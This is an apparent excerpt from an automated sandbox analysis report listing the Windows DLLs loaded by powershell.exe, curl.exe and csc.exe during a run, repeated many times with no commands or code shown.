Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
